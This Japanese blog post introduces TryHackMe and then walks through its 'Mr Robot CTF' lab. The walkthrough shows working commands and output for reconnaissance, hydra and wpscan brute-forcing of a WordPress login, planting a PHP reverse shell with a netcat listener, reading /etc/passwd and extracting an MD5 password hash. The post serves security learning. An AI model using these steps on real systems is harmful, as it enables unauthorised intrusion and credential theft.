<p>悪用の意図の有無によらず、他社の所有するサーバへ上記のような攻撃行為を試行することは「不正アクセス行為の禁止等に関する法律」などに抵触する恐れがあります。絶対にやめましょう。</p>
</div></div>

<p>そのようなお悩みを解決するために、安心安全にサイバーセキュリティのスキルを向上させることができるオンライン学習プラットフォームの１つが TryHackMe です。</p>
<p>よく比較される類似サービスに HackTheBox があります。技術ブログでは過去に HackTheBox の問題を解いてみた記事がありました（参考）。</p>
<p>しかし TryHackMe に関するブログや、最近このようなセキュリティ系の記事が無かったこと、最近私も TryHackMe に課金して利用していることから、今回このテーマで記事を書こうと思い寄稿しました。</p>
<h2 id="サービスの概要紹介">サービスの概要紹介</h2><p>TryHackMe には無料で利用できる Room があります。有料プラン（月間or年間）を契約してより深く学習していくこともできます。</p>
<p>TryHackMe は大きく Learn と Practice に分かれています。Learn は…</p>
<ul>
<li><strong>Module</strong>：Nmap などのツールや暗号技術などの概念を学ぶ Room の集まり</li>
<li><strong>Learning Path</strong>：特定の目的に沿って一連の Module に取り組む学習コース</li>
</ul>
<p>からなります。Learning Path で１つずつステップアップすることも、Module 単位でツールをつまみ食いもできます。以下の画像は Learning Path の一部です。Penetration、SOC、Red Teaming などがあります。</p>
<img fetchpriority="high" src="/images/2024/20241030a/image.png" alt="" width="1200" height="671">

<p>Module は いくつかの Room で構成されています。各 Room ではツールの概要やオプションについての解説があり、その後学んだ内容を活かして Question に回答していきます。<br>例として、後の Walkthrough でも登場する「Hydra」というツールの Room を見てみます（これは Offensive Security Tooling という Module に含まれています）。</p>
<img src="/images/2024/20241030a/image_2.png" alt="" width="1188" height="829" loading="lazy">

<p><code>Task 1</code>（Hydra Introduction）では Hydra というツールの概要が紹介されています。その後の <code>Task 2</code>（Using Hydra）で、この Hydra を使って実践的な学習をしていきます。「Start Machine」のボタンを押すと、ツールで攻撃をしても問題ない仮想サーバが立ち上がり、実際に Hydra などのツールを試すことができます。<br>学んだ内容を元に、指示に従ってツールを実行、Question で指定されている flag を狙います（このような攻略対象のサーバに隠された flag を取得するコンテストが CTF(Capture The Flag)です）。Question 全部に正解すれば、その Room はクリアです！</p>
<img src="/images/2024/20241030a/image_3.png" alt="" width="1140" height="239" loading="lazy">

<p>TryHackMe にはブラウザ上で仮想環境を作れる AttackBox という機能もあるので、Windows ユーザなどでも学習したコマンドをブラウザでちょっと試す、ということが可能です。なお、VirtualBox などでローカルに環境を構築し、VPN 接続する方法もあります。</p>
<p>このように、各ツールについてかなり基礎的なところから、実際に手を動かして学ぶことができるようになるのが TryHackMe の特長だと思います。</p>
<h2 id="TryHackMe-の良い点と-HackTheBox-との比較">TryHackMe の良い点と HackTheBox との比較</h2><h3 id="TryHackMe-の良い点">TryHackMe の良い点</h3><ul>
<li>Learning Path が整備されていて、各種ツールの使い方を個別に学べる Room がある<ul>
<li>個人的にはここがよく、学習ハードルを大きく下げてくれて継続しやすいと思います</li>
<li>普段業務で触れていない内容を、業務終わりなどに自分で調べて学習していくのは、興味があるといえど負荷が高いです</li>
<li>Practice で詰まったときも、「分からなくなったらここに戻ってこよう」と考えて気楽に取り組めます</li>
</ul>
</li>
<li>Linux の CLI 練習や Windows の基本、TCP&#x2F;IP の仕組みなど、かなり基礎的な内容も扱っています<ul>
<li>この辺は特に未経験の新人の方には嬉しい内容だと思います</li>
<li>既に知っている内容はスキップしたり、英語で学習する機会として利用できます</li>
</ul>
</li>
<li>深く学習するには有料プランの契約が必要ですが、年末には年間プランが20%引きになるキャンペーンもやっており、お得に始められます</li>
</ul>
<h3 id="HackTheBox-の良い点">HackTheBox の良い点</h3><p>メインテーマから外れるのと TryHackMe より利用していないので、参考程度で。</p>
<ul>
<li>より高難度な技術や問題は HackTheBox の方が多いように思います<ul>
<li>完全上位互換ではないです</li>
<li>より技術を深く理解したい場合は HackTheBox の方が良さそうです</li>
</ul>
</li>
</ul>
<p>私個人の感想としては、勉強になぞらえると…</p>
<ul>
<li>TryHackMe は教科書+章末問題・問題集</li>
<li>HackTheBox は参考書・問題集</li>
</ul>
<p>のような感覚です。初めてこの世界に触れるのであれば、難易度・とっつきやすさから TryHackMe が個人的には良いと思います。TryHackMe で基礎的な知識を習得したので次のステップに進みたい、または基礎的な部分は自分で調べられる、という人は HackTheBox を選択すると良いでしょう。</p>
<h2 id="Walkthrough-の前に軽くまとめ">Walkthrough の前に軽くまとめ</h2><p>せっかくなので TryHackMe の Practice にある Room をこの後攻略していきます。CTF には Walkthrough という、自分がどのように解いていったのかを書いて発信する文化があります。解き終わった後に他の人の手順を読むと、新たな発見や知識を得られることがあります。</p>
<p>この後の Walkthrough は、CTF を知らないと読むのが大変かもしれないです。流し読みでも良いと思うので、「脆弱性が存在するとこんなことが簡単にできるのか」「CTF面白いな」「セキュリティについて知らないで実装するの怖いな」といった感想を抱いてもらえるだけでも嬉しいです。</p>
<p>ネットワークやセキュリティの活きた知識を駆使しながらパズルを解いていくのが CTF の楽しさかなと思います。私もまだ CTF を初めて少ししか経っていないので、知らない知識は山ほどありますし、Room 攻略が全然できないときは悔しく感じます。しかし、Lerning Path での学習では、普段業務では得られない知識も得られ、実際に Room で覚えたことを使って先に進めたときは新鮮な気持ち良さを感じられます。パズルや研究が好きな人には向いているかもしれません。</p>
<p>私は新卒入社での研修後、いきなりセキュリティのチームに配属されました。私もその一人でしたが、馴染みのない人は「セキュリティ系の人たちって普段どんなことしてるんだ？」という疑問を抱くことがあると思います。その点で、 CTF はサイバー攻撃での攻撃・防御を学習する1つの手法として、セキュリティを身近に感じられるものだと思います（もちろん、セキュリティ系の業務は他にも山ほどあります）。「少し新しい世界に触れてみよう」くらいの軽い気持ちででも、CTF を始めてもらえたら幸いです（そして私と一緒に勉強会をしましょう。仲間募集中です。）</p>
<p>先日、株式会社ラック様が公開している「サイバーセキュリティ仕事ファイル」という資料を拝読しました。セキュリティ系の仕事にはどのようなものがあるのか、どのような業務を行っているのか、などを広く知ることができました。上述のような疑問を抱いている方々の参考になれば幸いです。</p>
<hr>
<p>では、ここからは Learning から Practice に移り、実際のサーバ攻略をしていきます。<br>Linux や CTF に馴染みのない方は、ここから先は読み流す程度でも構いません。</p>
<h2 id="Room-情報">Room 情報</h2><p>今回は難易度が Medium のこちらの Mr Robot CTF の Room を攻略していきます。<br>使用している環境は、VirtualBox 上に構築した Kali Linux で、<code>~/tryhackme/MrRobotCTF</code> という作業ディレクトリ上で作業しています（AttackBox 上ではなく、<code>openvpn</code> で接続しています）</p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">┌──(kali㉿kali)-[~/tryhackme/MrRobotCTF]</span><br><span class="line">└─$ <span class="built_in">cat</span> /proc/version  </span><br><span class="line">Linux version 6.8.11-amd64 (devel@kali.org) (x86_64-linux-gnu-gcc-13 (Debian 13.2.0-25) 13.2.0, GNU ld (GNU Binutils <span class="keyword">for</span> Debian) 2.42) <span class="comment">#1 SMP PREEMPT_DYNAMIC Kali 6.8.11-1kali2 (2024-05-30)</span></span><br></pre></td></tr></table></figure>

<h3 id="Walkthrough">Walkthrough</h3><img src="/images/2024/20241030a/image_4.png" alt="" width="1048" height="655" loading="lazy">

<p>Questions は3つありますが、どれも <code>What is key 1?</code> といった形式で、特に調べる場所のヒントはなさそうです。</p>
<div class="note-container note-warn"><span class="note-icon"></span><div>

<p>Walkthrough の途中で IP の値が変わっています。これは時間を跨いだせいで、サーバが再起動したためです。Walkthrough だけ読むとスラスラと解いてるように見えるかもしれませんが、裏では試行錯誤したり情報を調べたりと、ずっと多くの時間がかかってます。<br>ああ、苦戦したんやな（笑）と思ってください。</p>
</div></div>

<hr>
<p>まずは恒例 <code>nmap</code> でターゲットの偵察をしていきます。</p>
<div class="note-container note-info"><span class="note-icon"></span><div>

<p>使用コマンドは使ってるうちに段々と慣れて覚えられます。忘れた場合は潔く参考書を開いたりネットで調べます。どのようなツールがあり、それで何ができるのかを覚えておくことが大事で、あとは適宜 option を調べてなんとかなります。</p>
</div></div>

<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">┌──(kali㉿kali)-[~/tryhackme/MrRobotCTF]</span><br><span class="line">└─$ nmap -sV -Pn -oN nmap.txt -v 10.10.203.195</span><br><span class="line">Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-27 18:44 JST</span><br><span class="line">（中略）</span><br><span class="line">Nmap scan report <span class="keyword">for</span> 10.10.203.195</span><br><span class="line">Host is up (0.43s latency).</span><br><span class="line">Not shown: 997 filtered tcp ports (no-response)</span><br><span class="line">PORT    STATE  SERVICE  VERSION</span><br><span class="line">22/tcp  closed ssh</span><br><span class="line">80/tcp  open   http     Apache httpd</span><br><span class="line">443/tcp open   ssl/http Apache httpd</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<p>偵察の結果、以下のことが分かりました。</p>
<ol>
<li>ssh の port(22) が closed になっている</li>
<li>http の port(80) が open になっている</li>
<li>ssl&#x2F;http の port(443) が open になっている</li>
</ol>
<p>ひとまず http に chrome からアクセスしてみます。<br>すると、かっちょいい画面が起動しました。シェルにカタカタと文字が入力され、映画のようなわくわく感があります。しばらくするとコマンドの入力を促されました。</p>
<img src="/images/2024/20241030a/MrRobotCTF_http.png" alt="MrRobotCTF_http.png" width="1200" height="524" loading="lazy">

<p>とりあえずコマンドを入れてみます。しかし <code>id</code> や <code>ls</code> 、<code>pwd</code> など基本的な Linux コマンドは使えなさそうです（<code>Command not recognized. Type help for a list of commands.</code> と表示されます）</p>
<p>じゃあ上から順にいくしかないか… ということで、最初の <code>prepare</code> を実行。するとまた別の映像が流れ始めます。<br>でもよくわからない。developer tool を覗いてみたが、<code>YOU ARE NOT ALONE</code> というメッセージが出ているだけでまだ何も分からない。「WE ARE FSOCIETY」って一体なんでしょうか…</p>
<img src="/images/2024/20241030a/MrRobotCTF_movie.png" alt="MrRobotCTF_movie.png" width="1200" height="626" loading="lazy">

<p>次の <code>fsociety</code> を実行してみます（最初のログイン画面にも出てた単語なので気になります）。すると <code>/fsociety</code> のパスに移動して動画が流れました。画像は省略しますが、<code>ARE YOU READY TO JOIN FSOCIETY?</code> というまたしてもよくわからないメッセージが出ます。同じく他のコマンドでも、パスが切り替わり動画や写真が出てくるが、ぱっと見で使える情報はなさそうですね。攻略後に種明かしができると信じて、いったんスルーします。</p>
<p>公開されている情報の中には使えそうなものはありませんでした。次に、Web サイトに他の公開情報がないかを調べてみます。<code>gobuster</code> や <code>dirb</code> というツールで調べられますが、<code>gobuster</code> の方が高速に動作してくれるのでこちらを使います（某ゴースト退治の映画っぽさもあって好きです）。wordlist（パスの候補となる単語集）に common.txt を使って調査。</p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">┌──(kali㉿kali)-[~/tryhackme/MrRobotCTF]</span><br><span class="line">└─$ gobuster -o gobuster.txt <span class="built_in">dir</span> -u http://10.10.203.195 -w /usr/share/wordlists/dirb/common.txt </span><br><span class="line">===============================================================</span><br><span class="line">Gobuster v3.6</span><br><span class="line">by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)</span><br><span class="line">===============================================================</span><br><span class="line">[+] Url:                     http://10.10.203.195</span><br><span class="line">[+] Method:                  GET</span><br><span class="line">[+] Threads:                 10</span><br><span class="line">[+] Wordlist:                /usr/share/wordlists/dirb/common.txt</span><br><span class="line">[+] Negative Status codes:   404</span><br><span class="line">[+] User Agent:              gobuster/3.6</span><br><span class="line">[+] Timeout:                 10s</span><br><span class="line">===============================================================</span><br><span class="line">Starting gobuster <span class="keyword">in</span> directory enumeration mode</span><br><span class="line">===============================================================</span><br><span class="line">/.hta                 (Status: 403) [Size: 213]</span><br><span class="line">/.htaccess            (Status: 403) [Size: 218]</span><br><span class="line">/.htpasswd            (Status: 403) [Size: 218]</span><br><span class="line">/0                    (Status: 301) [Size: 0] [--&gt; http://10.10.203.195/0/]</span><br><span class="line">/admin                (Status: 301) [Size: 235] [--&gt; http://10.10.203.195/admin/]</span><br><span class="line">/atom                 (Status: 301) [Size: 0] [--&gt; http://10.10.203.195/feed/atom/]</span><br><span class="line">/audio                (Status: 301) [Size: 235] [--&gt; http://10.10.203.195/audio/]</span><br><span class="line">/blog                 (Status: 301) [Size: 234] [--&gt; http://10.10.203.195/blog/]</span><br><span class="line">/css                  (Status: 301) [Size: 233] [--&gt; http://10.10.203.195/css/]</span><br><span class="line">/dashboard            (Status: 302) [Size: 0] [--&gt; http://10.10.203.195/wp-admin/]</span><br><span class="line">/favicon.ico          (Status: 200) [Size: 0]</span><br><span class="line">/feed                 (Status: 301) [Size: 0] [--&gt; http://10.10.203.195/feed/]</span><br><span class="line">/image                (Status: 301) [Size: 0] [--&gt; http://10.10.203.195/image/]</span><br><span class="line">/Image                (Status: 301) [Size: 0] [--&gt; http://10.10.203.195/Image/]</span><br><span class="line">/images               (Status: 301) [Size: 236] [--&gt; http://10.10.203.195/images/]</span><br><span class="line">/index.html           (Status: 200) [Size: 1077]</span><br><span class="line">/index.php            (Status: 301) [Size: 0] [--&gt; http://10.10.203.195/]</span><br><span class="line">/js                   (Status: 301) [Size: 232] [--&gt; http://10.10.203.195/js/]</span><br><span class="line">Progress: 2216 / 4615 (48.02%)[ERROR] context deadline exceeded (Client.Timeout or context cancellation <span class="keyword">while</span> reading body)</span><br><span class="line">/license              (Status: 200) [Size: 309]</span><br><span class="line">/login                (Status: 302) [Size: 0] [--&gt; http://10.10.203.195/wp-login.php]</span><br><span class="line">/page1                (Status: 301) [Size: 0] [--&gt; http://10.10.203.195/]</span><br><span class="line">/phpmyadmin           (Status: 403) [Size: 94]</span><br><span class="line">/rdf                  (Status: 301) [Size: 0] [--&gt; http://10.10.203.195/feed/rdf/]</span><br><span class="line">/readme               (Status: 200) [Size: 64]</span><br><span class="line">/robots               (Status: 200) [Size: 41]</span><br><span class="line">/robots.txt           (Status: 200) [Size: 41]</span><br><span class="line">/rss                  (Status: 301) [Size: 0] [--&gt; http://10.10.203.195/feed/]</span><br><span class="line">/rss2                 (Status: 301) [Size: 0] [--&gt; http://10.10.203.195/feed/]</span><br><span class="line">/sitemap              (Status: 200) [Size: 0]</span><br><span class="line">/sitemap.xml          (Status: 200) [Size: 0]</span><br><span class="line">/video                (Status: 301) [Size: 235] [--&gt; http://10.10.203.195/video/]</span><br><span class="line">/wp-admin             (Status: 301) [Size: 238] [--&gt; http://10.10.203.195/wp-admin/]</span><br><span class="line">/wp-config            (Status: 200) [Size: 0]</span><br><span class="line">/wp-content           (Status: 301) [Size: 240] [--&gt; http://10.10.203.195/wp-content/]</span><br><span class="line">/wp-cron              (Status: 200) [Size: 0]</span><br><span class="line">/wp-includes          (Status: 301) [Size: 241] [--&gt; http://10.10.203.195/wp-includes/]</span><br><span class="line">/wp-load              (Status: 200) [Size: 0]</span><br><span class="line">/wp-links-opml        (Status: 200) [Size: 227]</span><br><span class="line">/wp-login             (Status: 200) [Size: 2671]</span><br><span class="line">/wp-mail              (Status: 500) [Size: 3064]</span><br><span class="line">/wp-signup            (Status: 302) [Size: 0] [--&gt; http://10.10.203.195/wp-login.php?action=register]</span><br><span class="line">/wp-settings          (Status: 500) [Size: 0]</span><br><span class="line">/xmlrpc.php           (Status: 405) [Size: 42]</span><br><span class="line">/xmlrpc               (Status: 405) [Size: 42]</span><br><span class="line">Progress: 4614 / 4615 (99.98%)</span><br><span class="line">===============================================================</span><br><span class="line">Finished</span><br><span class="line">===============================================================</span><br></pre></td></tr></table></figure>

<p>色々とパスが見つかりました。robots.txt（隠したいファイル名を記載することでクローラの検索から除外できるファイル） が見えるので cat してみましょう。</p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">┌──(kali㉿kali)-[~/tryhackme/MrRobotCTF]</span><br><span class="line">└─$ curl 10.10.203.195/robots.txt</span><br><span class="line">User-agent: *</span><br><span class="line">fsocity.dic</span><br><span class="line">key-1-of-3.txt</span><br></pre></td></tr></table></figure>

<p>1つ目の key が見つかりました。このパスに移動すれば key をゲットです。</p>
<p>併せて <code>fsocity.dic</code> という気になるファイルもあります。<code>.dic</code> というのはバイナリ形式の辞書ファイルらしいです。（ちなみに、あとでブルートフォース攻撃をするタイミングがあり、このファイルを使います）。</p>
<p><code>/readme</code> を覗くと以下のような内容が書かれていました。</p>
<figure class="highlight txt"><table><tr><td class="code"><pre><span class="line">I like where you head is at. However I&#x27;m not going to help you.</span><br><span class="line">（意訳：とっかかりの考え方としてはイイね。でもお助けは無しだ。）</span><br></pre></td></tr></table></figure>

<p>煽られました（笑）。CTF ではこの手の煽り文句を見つけられることがあります。出題者が「見つけてくれるかな？」と埋め込んだ隠しネタを見つけたときは嬉しいですね。</p>
<p>さらに探索を続けてみます。gobuster の結果を見るに、これは WordPress で構築されているようです。<br>ひとまず <code>301</code> のそれっぽい <code>/wp-admin</code> のパスを見に行ってみます。するとログインページにリダイレクトされました。</p>
<img src="/images/2024/20241030a/MrRobotCTF_wp.png" alt="MrRobotCTF_wp.png" width="1200" height="627" loading="lazy">

<p>認証回り、SQL Injection を狙えるかなという期待を抱きつつ、ひとまずダミーデータで認証の挙動を確認してみます。 <code>Username: test, Password: password</code> の情報で認証をトライ（画像を載せてませんが、パスワードを入れないと <code>ERROR: The password field is empty.</code> というエラーが出ました）すると、 <code>ERROR: Invalid username. Lost your password?</code> という<strong>親切な</strong>エラーメッセージが。<code>Username</code> のフィールドが異なるようですね。</p>
<img src="/images/2024/20241030a/MrRobotCTF_login.png" alt="MrRobotCTF_login.png" width="1200" height="627" loading="lazy">

<div class="note-container note-info"><span class="note-icon"></span><div>

<p>以下でやるように、「<code>Username</code> が異なります」 という詳細なエラーを返すと、「<code>Username</code> が正しいか」という判断が可能になり、ブルートフォース攻撃が可能となる脆弱性を埋め込むことになります。<br>「<code>Username</code> または <code>Password</code> が異なります」や「認証情報が違います」といった汎用的な表現に留めましょう。</p>
</div></div>

<p>developer tool で確認してみると、<code>log: test, pwd: password</code> というパラメータで POST していることが分かりました。<br>この <code>log</code> の候補となる情報がないか調べてみます。</p>
<p>ブルートフォース攻撃をしたくなったので、先ほど見つけた辞書ファイル <code>fsocity.dic</code> を取得してきます。しかしこのファイル、やけに重い。ダウンロードに2分もかかってます。確認すると 7.0 MB もあります。</p>
<figure class="highlight console"><table><tr><td class="code"><pre><span class="line">┌──(kali㉿kali)-[~/tryhackme/MrRobotCTF]</span><br><span class="line">└─$ curl -O http://10.10.203.195/fsocity.dic </span><br><span class="line"><span class="meta prompt_">  % </span><span class="language-bash">Total    % Received % Xferd  Average Speed   Time    Time     Time  Current</span></span><br><span class="line">                                 Dload  Upload   Total   Spent    Left  Speed</span><br><span class="line">100 7075k  100 7075k    0     0  63412      0  0:01:54  0:01:54 --:--:--   97k</span><br><span class="line"></span><br><span class="line">┌──(kali㉿kali)-[~/tryhackme/MrRobotCTF]</span><br><span class="line">└─$ du -h fsocity.dic </span><br><span class="line">7.0M    fsocity.dic</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<p>このまま攻撃に使うと時間がかかるので、中身を <code>less</code> で確認してみます。すると、辞書ファイルに重複する内容が多いことに気が付きます。調べると、全単語が 75 行ずつ重複して存在するようです。</p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">┌──(kali㉿kali)-[~/tryhackme/MrRobotCTF]</span><br><span class="line">└─$ <span class="built_in">sort</span> fsocity.dic | <span class="built_in">uniq</span> -c | <span class="built_in">head</span> -n 3</span><br><span class="line">     75 000</span><br><span class="line">     75 000000</span><br><span class="line">     75 000080</span><br></pre></td></tr></table></figure>

<p>そのまま使うのは時間の無駄なので圧縮します。すると 96 KB まで圧縮できました（約75分の1）</p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">┌──(kali㉿kali)-[~/tryhackme/MrRobotCTF]</span><br><span class="line">└─$ <span class="built_in">sort</span> fsocity.dic| <span class="built_in">uniq</span> &gt; fsocity_uniq.dic</span><br><span class="line">                           </span><br><span class="line">┌──(kali㉿kali)-[~/tryhackme/MrRobotCTF]</span><br><span class="line">└─$ <span class="built_in">du</span> -h fsocity_uniq.dic </span><br><span class="line">96K     fsocity_uniq.dic</span><br></pre></td></tr></table></figure>

<p>では攻撃をしていきます。 <code>hydra</code> というブルートフォース攻撃ができるツールで調べます。まずは <code>pwd:test</code> で固定、コマンドはこちらを参考にしました。実行には25分かかりましたが、気長に待ちましょう。</p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">┌──(kali㉿kali)-[~/tryhackme/MrRobotCTF]</span><br><span class="line">└─$ hydra -L ./fsocity_uniq.dic -p <span class="built_in">test</span> 10.10.203.195 http-post-form <span class="string">&#x27;/wp-login.php:log=^USER^&amp;pwd=^PASS^&amp;wp-submit=Log+In&amp;redirect_to=http%3A%2F%2F10.10.203.195%2Fwp-admin%2F&amp;testcookie=1:F=Invalid username&#x27;</span></span><br><span class="line">Hydra v9.5 (c) 2023 by van Hauser/THC &amp; David Maciejak - Please <span class="keyword">do</span> not use <span class="keyword">in</span> military or secret service organizations, or <span class="keyword">for</span> illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).</span><br><span class="line"></span><br><span class="line">Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-10-27 20:39:07</span><br><span class="line">[DATA] max 16 tasks per 1 server, overall 16 tasks, 11452 login tries (l:11452/p:1), ~716 tries per task</span><br><span class="line">[DATA] attacking http-post-form://10.10.203.195:80/wp-login.php:<span class="built_in">log</span>=^USER^&amp;<span class="built_in">pwd</span>=^PASS^&amp;wp-submit=Log+In&amp;redirect_to=http%3A%2F%2F10.10.203.195%2Fwp-admin%2F&amp;testcookie=1:F=Invalid username</span><br><span class="line">[STATUS] 445.00 tries/min, 445 tries <span class="keyword">in</span> 00:01h, 11007 to <span class="keyword">do</span> <span class="keyword">in</span> 00:25h, 16 active</span><br><span class="line">[STATUS] 416.33 tries/min, 1249 tries <span class="keyword">in</span> 00:03h, 10203 to <span class="keyword">do</span> <span class="keyword">in</span> 00:25h, 16 active</span><br><span class="line">[STATUS] 446.86 tries/min, 3128 tries <span class="keyword">in</span> 00:07h, 8324 to <span class="keyword">do</span> <span class="keyword">in</span> 00:19h, 16 active</span><br><span class="line">[STATUS] 454.92 tries/min, 5459 tries <span class="keyword">in</span> 00:12h, 5993 to <span class="keyword">do</span> <span class="keyword">in</span> 00:14h, 16 active</span><br><span class="line">[80][http-post-form] host: 10.10.203.195   login: Elliot   password: <span class="built_in">test</span></span><br><span class="line">[80][http-post-form] host: 10.10.203.195   login: elliot   password: <span class="built_in">test</span></span><br><span class="line">[80][http-post-form] host: 10.10.203.195   login: ELLIOT   password: <span class="built_in">test</span></span><br><span class="line">[STATUS] 448.71 tries/min, 7628 tries <span class="keyword">in</span> 00:17h, 3824 to <span class="keyword">do</span> <span class="keyword">in</span> 00:09h, 16 active</span><br><span class="line">[STATUS] 447.82 tries/min, 9852 tries <span class="keyword">in</span> 00:22h, 1600 to <span class="keyword">do</span> <span class="keyword">in</span> 00:04h, 16 active</span><br><span class="line">1 of 1 target successfully completed, 3 valid passwords found</span><br><span class="line">Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-10-27 21:04:42</span><br></pre></td></tr></table></figure>

<p><code>Elliot</code>, <code>elliot</code>, <code>ELLIOT</code> という3つの <code>Username</code> が正しいものとわかりました。大文字小文字の区別はしていないようです。<br>試しに <code>Elliot</code> でログインしようとすると、<code>ERROR: The password you entered for the username Elliot is incorrect. Lost your password?</code> というまたしても<strong>親切な</strong>エラーが返ってきます。</p>
<p>パスワードについてもブルートフォース攻撃で調べられそうです。今回はこのサイトが WordPress のものとわかっているので、これに特化した <code>wpscan</code> というツールを使います。</p>
<figure class="highlight console"><table><tr><td class="code"><pre><span class="line">┌──(kali㉿kali)-[~/tryhackme/MrRobotCTF]</span><br><span class="line">└─$ wpscan --url http://10.10.203.195 -U Elliot -P fsocity_uniq.dic -t 32</span><br><span class="line">_______________________________________________________________</span><br><span class="line">         __          _______   _____</span><br><span class="line">         \ \        / /  __ \ / ____|</span><br><span class="line">          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®</span><br><span class="line">           \ \/  \/ / |  ___/ \___ \ / __|/ _` | &#x27;_ \</span><br><span class="line">            \  /\  /  | |     ____) | (__| (_| | | | |</span><br><span class="line">             \/  \/   |_|    |_____/ \___|\__,_|_| |_|</span><br><span class="line"></span><br><span class="line">         WordPress Security Scanner by the WPScan Team</span><br><span class="line">                         Version 3.8.25</span><br><span class="line">                               </span><br><span class="line">       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart</span><br><span class="line">_______________________________________________________________</span><br><span class="line">(中略)</span><br><span class="line"></span><br><span class="line">[+] Performing password attack on Xmlrpc Multicall against 1 user/s</span><br><span class="line">[SUCCESS] - Elliot / ER28-0652                                                                                                 </span><br><span class="line">All Found                                                                                                                      </span><br><span class="line">Progress Time: 00:00:49 &lt;=====================================                                &gt; (12 / 22) 54.54%  ETA: ??:??:??</span><br><span class="line"></span><br><span class="line">[!] Valid Combinations Found:</span><br><span class="line"> | Username: Elliot, Password: ER28-0652</span><br></pre></td></tr></table></figure>

<p>パスワードが分かりました。得られた認証情報でログインしてみます。</p>
<img src="/images/2024/20241030a/MrRobotCTF_Elliot_Login.png" alt="MrRobotCTF_Elliot_Login.png" width="1200" height="621" loading="lazy">

<p>ログインに成功しました！まずは WordPress のサイトへの侵入成功です。画面で触れる箇所が多く、調べたら色々と情報や脆弱性が出てきそうです。今回ログインしたユーザは Elliot Alderson さんという方のようです。メールアドレスや顔写真などの個人情報も出てきました。怖いですねぇ。</p>
<p>次は更に内部に入りこむべく、この WordPress サーバ（OS側）への侵入を試みます。WordPress 上を探索してみると、<code>Appearance &gt; Editor</code> に php のコードが色々とあり、編集ができることに気が付きます。リバースシェルを仕込んで実行させることで、シェルを取得できそうです。</p>
<img src="/images/2024/20241030a/MrRobotCTF_editor.png" alt="MrRobotCTF_editor.png" width="1200" height="625" loading="lazy">

<div class="note-container note-info"><span class="note-icon"></span><div>

<p><strong>リバースシェル</strong>は、ターゲットから自分のローカルマシンに向けた接続をする仕組みです。サーバは基本的に外部から内部への通信は厳しく制限しますが、内部から外部への通信は比較的ゆるい場合が多いです。<br>そこで、ローカルマシンではあるポート（今回は<code>12345</code>） で接続を Listen しておきます。ターゲットマシンに侵入後、リバースシェルのプログラムにこのIP・ポートへ接続する設定をして、このプログラムが実行されるように仕込みます。プログラムが実行されると、ローカルマシンへの接続が発生して、ターゲットマシンのシェルを取得できます。</p>
</div></div>

<p>Kali にもともとある php のリバースシェルのスクリプトをコピーしてきます（ちなみに私は php のコードは読めません…）</p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">┌──(kali㉿kali)-[~/tryhackme/MrRobotCTF]</span><br><span class="line">└─$ <span class="built_in">cp</span> /usr/share/webshells/php/php-reverse-shell.php .</span><br></pre></td></tr></table></figure>

<p>ファイルの中身で「CHANGE THIS」とコメントされている箇所が2か所あるので、そこを変更します。 <code>$ip(自分のローカルマシンのIP)</code> と <code>$PORT(適当に12345)</code> を設定し、保存します。編集したプログラム全体をべろっとコピーして、<code>404.php</code> を更新します。<code>File edited successfully.</code> と出て無事に更新完了です。</p>
<p>ローカルマシン で別タブを開き、 port 12345 で Listen しておきます（<code>nc -lnvp 12345</code>）。その状態で、ブラウザで <code>/404.php</code> にアクセスすると… WordPress サーバのシェルを取得できました！（<code>whoami</code> で daemon と出てますね）</p>
<img src="/images/2024/20241030a/MrRobotCTF_shell.png" alt="MrRobotCTF_shell.png" width="1200" height="429" loading="lazy">

<p><code>cat /etc/passwd</code> で他にどのようなユーザがいるのか調べます。<code>robot</code> というユーザは問題名からしても気になりますね。</p>
<figure class="highlight console"><table><tr><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash"><span class="built_in">cat</span> /etc/passwd</span></span><br><span class="line">root:x:0:0:root:/root:/bin/bash</span><br><span class="line">daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin</span><br><span class="line">(中略)</span><br><span class="line">mysql:x:1001:1001::/home/mysql:</span><br><span class="line">varnish:x:999:999::/home/varnish:</span><br><span class="line">robot:x:1002:1002::/home/robot:</span><br></pre></td></tr></table></figure>

<p>robot に探りを入れてみると、2つ目の key を発見しました。しかし、key の参照権限はファイル所有者の robot しかないようです。</p>
<figure class="highlight console"><table><tr><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash"><span class="built_in">ls</span> -l /home/robot/</span></span><br><span class="line">total 8</span><br><span class="line">-r-------- 1 robot robot 33 Nov 13  2015 key-2-of-3.txt</span><br><span class="line">-rw-r--r-- 1 robot robot 39 Nov 13  2015 password.raw-md5</span><br></pre></td></tr></table></figure>

<p>でも <code>password.raw-md5</code> という気になる名前をしたファイルは、その他のユーザにも参照権限があるようです。</p>
<figure class="highlight console"><table><tr><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash"><span class="built_in">cat</span> /home/robot/password.raw-md5</span></span><br><span class="line">robot:c3fcd3d76192e4007dfb496cca67e13b</span><br></pre></td></tr></table></figure>

<p>MD5 とはハッシュ関数の１つで、128bitのハッシュ値を生成します。しかし、MD5 には比較的簡単にハッシュ衝突を計算できるという脆弱性があり、安全性の観点から暗号化には利用されません。</p>
<p>このようなパスワードの解読には <code>JohnTheRipper</code> というツールが使えます。<code>password.raw-md5</code> の中身を <code>md5.txt</code> というファイルに保存して、 JohnTheRipper で解読してみると、一瞬でパスワードを取得できました。</p>
